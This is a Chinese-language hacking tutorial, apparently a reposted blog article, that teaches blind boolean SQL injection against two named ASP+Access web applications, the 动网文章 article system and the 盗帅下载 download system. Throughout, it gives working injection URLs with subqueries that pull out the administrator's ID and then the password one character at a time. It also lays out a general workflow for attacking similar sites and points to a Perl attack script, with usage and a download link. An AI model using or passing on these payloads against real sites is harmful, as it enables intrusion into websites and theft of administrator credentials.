一种通用的Sql Injection攻击方法

 lcx

  Sql Injection是一个描述将SQL代码传递到一个并不被开发人员所想要的应用程序中去的专业术语。Sql Injection攻击通俗一点讲,就是通过hacker精心构造sql语句在原有的web程序(像论坛、留言本)里执行,达到获取主机权限、用户密码等信息,从而实现80端口的入侵。Sql Injection攻击因构造sql的语句不同、被入侵主机的系统或web程序不同,方法也是多种多样的。但我在这里总结出一种通用的Sql Injection攻击方法,简单实用,那就是Sql Injection with Access的跨表子查循。

  我们还是先看实例,然后再来总结。动网文章是一款由WWW.ASPSKY.NET开发和维护的源代码开放的文章管理系统,在国内使用非常广泛;由于其list.asp文件没有过滤用户提交传递给SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL注入攻击。
 试看动网文章系统list.asp中的相关代码:
  sql="select Aclass.class,ANclass.Nclass,article.title,article.classid,article.Nclassid from article,Aclass,ANclass where article.classid=Aclass.classid and article.Nclassid=ANclass.Nclassid and article.articleID="&request("id")

  不懂asp的菜鸟好像头有点大了,没事,我来解析一下。动网文章用的数据库名是article.mdb,你用acess2000打开后,看到图1。

图1中的aclass、admin、anclass、article都是article.mdb的表名。其中article表存放的的是收集的文章了,图2。

admin表存放的是的动网文章管理员名和密码,图3。

还有aclas、anclass另两个表是存放文章的分类了。上边的list代码就是从这些表名中选出你要看的文章所有信息。像图2中的articleid有102的话,就是list.asp代码中的id=102的话,那么我们看到的情形就是这样的,图4。

。就是一篇文章,题目是damware使用心得,属于技术文库,articleid代码是102,这一些信息你在article.mdb中全可以找到。但是程序编写者在这里肯定不会暴露admin表的内容。但是看list.asp源码中得知,动网作者没有限制id的属性,也就是说在图4中的http://192.168.1.3/wz/list.asp?id=102中的102我们可以随便改成别的,改成56或33或47它是显示另一篇放在数据库的文章,但我们在后边加个条件成真的等式像1=1或2=2了将其值放在sql语句里查循,url改成http://192.168.1.3/wz/list.asp?id=102 and 11=11这样,图5。

就会出现错误页面了。注意的是我测试了很多动网文章系统,出现错误的形式并不同,有的是正常显示文章后再在尾部出现0x800a000d错误,还有的是只出现一行错误。我们再在后边加一个条件不成真的等式像1=2或1=3将其值放在sql语句里查循,url改成http://192.168.1.3/wz/list.asp?id=102 and 11=1看看会现示什么,图6。

看到没有,它出现的是没有找到相关文章的页面。这里我们发现一个规律,只要id=102后加一个条件不成真的等式的话,肯定就会出现图6那样没有找到相关文章的页面。如果出现0x800a000d错误或别的表现形式像图5,就说明id=102后边跟的是一个条件成真的等式。

  再跟我来学一条sql语句和一个函数,就一条语句和一个函数的利用,我们就可以得到动网文章的密码了,很简单的。看图2,表名是admin,字段名分别是id、username、password、flag。id就是自动排例的序号,username和password你一看就明白,flag是程序编写者设定的用户等级。1表示超级用户,2是管理员、3是普通用户,具有不同的权限。明白了表的结构,我们来学这条sql语句:select id from admin where flag=1意思是从admin表中选出flag=1的id值,看图3得知flag是1的id值是11,就是说这条语句的值就是11。当然这条语句你还可推延一下,像select id from admin where passowrd=123或select username from admin where passowrd=123,意思分别是选出passwrod=123的id值和选出password=123的username的值,明白了吧,和英语语句很像的。再一个就函数就是left()了。像left(lcx,1)就表示从字段lcx中选出左边第一个字符,是l。left(lcx,2)就表示从字段lcx中选出左边两个字符,是lc。

  准备工作做完了,我们开工吧。我们先构造一个sql语句,来判断动网文章数据库中admin表第一个管理员的id值。(因为有的动网文章系统管理员不止一个呀,像图3中的是一个)。我们来提交这样的语句http://192.168.1.3/wz/list.asp?id=102 and 1=(select min(id) from admin where flag=1)。呀,这里好像漏了一个函数min(),就是最小值的意思。看图3得知,admin表里id最小值是11呀,所以select min(id) from admin where flag=1应当是11,所以这条语句变成了http://192.168.1.3/wz/list.asp?id=102 and 1=11,根据我们已发现的规律得知,这里网页就应当显示没有找到相关文章了,像图7。

我们挨个试,直至将这条语句的1改成11,语句变成了http://192.168.1.3/wz/list.asp?id=102 and 11=(select min(id) from admin where flag=1),结果就是http://192.168.1.3/wz/list.asp?id=102 and 11=11,结果会是什么呢?图8。

出现错误了。这说明第一个管理员的id值就是11。得到最小的id值后,我们再来破译密码。构造语句如下:http://192.168.1.3/wz/list.asp?id=102 and 11=(select id from admin where left(password,1)='x'),解释一下,语句中的11是我们先前判断出来的第一个管理员的id值。select id from admin where left(password,1)='x',指的是在admin表中将密码第1位是x的id值找出来,在sql语句中,不是数字的值要用单引号引起来,其中x的值是你自己随便写的。我们指定X的值为2来试试,很明显,在图3中我们看到passowrd的值是123,left(password,1)应当等于1,那么select id from admin where left(password,1)='2'自然是没有这样的id值了。于是list.asp?后边跟的id=102外还有一个条件不成真的等式,于是显示没有找到相关文章,这说明密码第1位不是2。图9。

我们用select id from admin where left(password,1)='1'来试试,哈,出现错误了,图10。

这说明id=102后跟的是一个条件成真的等式,第一个管理员的第一位的密码就是1。猜对了第1位,我们再来猜第2位,http://192.168.1.3/wz/list.asp?id=102 and 11=(select id from admin where left(password,2)='1x') 仔细看这条语句,我们将x的值改为2来试试,图11。

又出现错误了,说明前2位密码是就是12。我们一一推算下去,很快就能得出密码是123。其中left(password)函数你还可以改为len(passowrd)函数,用http://192.168.1.3/wz/list.asp?id=102 and 11=(select id from admin where len(password)='num')这样来先判断密码长度,你还可以自己去学一下asc()和mid()函数,用它能很快的推算出密码的键盘范围,能够快速得出密码值。 总之一句话,无论你构造的什么sql语句或写入的什么函数,只要页面显示没有找到相关文章,就说明在这条sql语句中密码不是你设定的值,id后跟的是一个不等式;如果显示其它的,就说明你猜对密码了,id后跟的是一个等式。同样的道理,你将sql语句中的password改成username就能挨个推算出管理员的用户名。

  我们再来破解盗帅下载系统1.0来试试,先看show.asp源码:
sql="SELECT * FROM download where id ="&request("id"),
这条语句你现在明白了吧,从download表中找出id=*的软件。同样在show.asp文件中没有过滤用户提交传递给SQL查询的输入,导致远程攻击者可以利用这个漏洞进行SQL注入攻击。

  它的数据库里download表存放的是你要下载的软件信息,而admin表存放的是系统管理员信息。admin表有四个字段分别是id、admin、pws、regsex,分别存放在是管理员序号、用户名和密码值及性别认别。regsex=0指管理员是男生。我们也同样发现一个规律,如果在show.asp后边跟一个不等式的话,会出现找不到该软件的页面,如果出现其它的就表明show.asp后边跟的是一个条件成真的等式。

  和动网文章一样的方法,我们来判断第1个管理员的id值,语句是这样的 http://ip/down1.0/show.asp?id=2 and x=(select min(id) from admin where regsex=0),其中x的值你随便写。id=2指的是可以正常显示软件信息的页面。和上文写的动网文章对照一下,一样吧。自己试验一下就明白了,如果显示找不到该软件,就说明你写的x值不是第一个管理员的id值,显示其它的就表示你猜对了第一位的管理员的id值。假定这里我们已得到第1个管理员的id值就是1的话,我们再来猜密码。用http://ip/down1.0/show.asp?id=2 and 1=(select id from admin where left(pws,x)='x')来猜密码。注意的是因为盗帅下载系统的admin表存放密码的字段是pws,所以sql语句里也要写pws。先看一下我猜错密码的情形,我在本机测试的,用的url是http://192.168.1.3/asp/d1/show.asp?id=2 and 1=(select id from admin where left(pws,1)='1')图12。

显示没有该软件,表明密码第1位不是1。再来看一下我猜对密码的情形,用的url是http://192.168.1.3/asp/d1/show.asp?id=2 and 1=(select id from admin where left(pws,2)='ad')图13,

正常显示了软件信息(不是显示没有该软件的页面)表明密码我猜对了,头两位是就是ad。

  通过以上两例Sql Injection分析,你应当学会了一种通用的Sql Injection攻击方法,那就是Sql Injection with Access的跨表子查循。其工作流程可定义为:入侵的对像是asp+acess程序,其递交sql程序页面特征是一个带数字参数的asp页面,像这样http://url/tagret.asp?id=num;入侵的手段是先下载一个和你要入侵的web程序同样的脚本,分析带数字参数的asp页面有没有对参数也就是num过滤用户提交传递给SQL查询的输入;打开数据库,熟悉其各个表的结构,然后精心构造跨表查循的sql语句,在id后写入条件成真或不成真的等式,根据返回信息不同来判断猜的密码是否正确。

  有的人可能要说,一个一个这样猜用户名和密码不得累死?如果对方密码是16位,又是用不同的字母或别的ascii字符,你可能一猜就要猜到天亮了。是呀,这时候就需要编程高手来编写程序实现Sql Injection攻击了。所以说,要做hacker,不学编程是永远不行的,并且只学一门语言也是不可取的。我这里有wawa写的一个攻击动网文章数据库的脚本和我根据这个脚本改的攻击盗帅下载1.0的脚本(2.0我没有源码,没有分析)。用法很简单,先打开一个动网文章系统,找到一个正常显示文章的页面。像图4。然后在dos下运行dvtxt.pl命令,就是这样dvTxt.pl 127.0.0.1 /txt/list.asp 53 "没有找到相关文章"。注意的由于是perl脚本,你本机需要装一个perl解析器。看看我运行的命令吧。图14。

等一会程序行结果就出来了,图15。

盗帅下载入侵脚本和这个类似,你可以下载自己去试试吧。我将两个脚要都放在我网站里了,下载地址是http://www.netsill.net/lcx/sql-acess.rar。由于我在攻击盗帅下载程序中指定的参数是regsex=0,所以我的脚本只能推测出管理员是男生的密码,女生管理员的我的脚本可探测不出呀。:-)。我相信如果你读通了这篇文章,明白了跨表子查循的原理,你也可以根据wawa的脚本来改写出一个Sql Injection with Access的跨表子查循的攻击程序。祝你好运!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值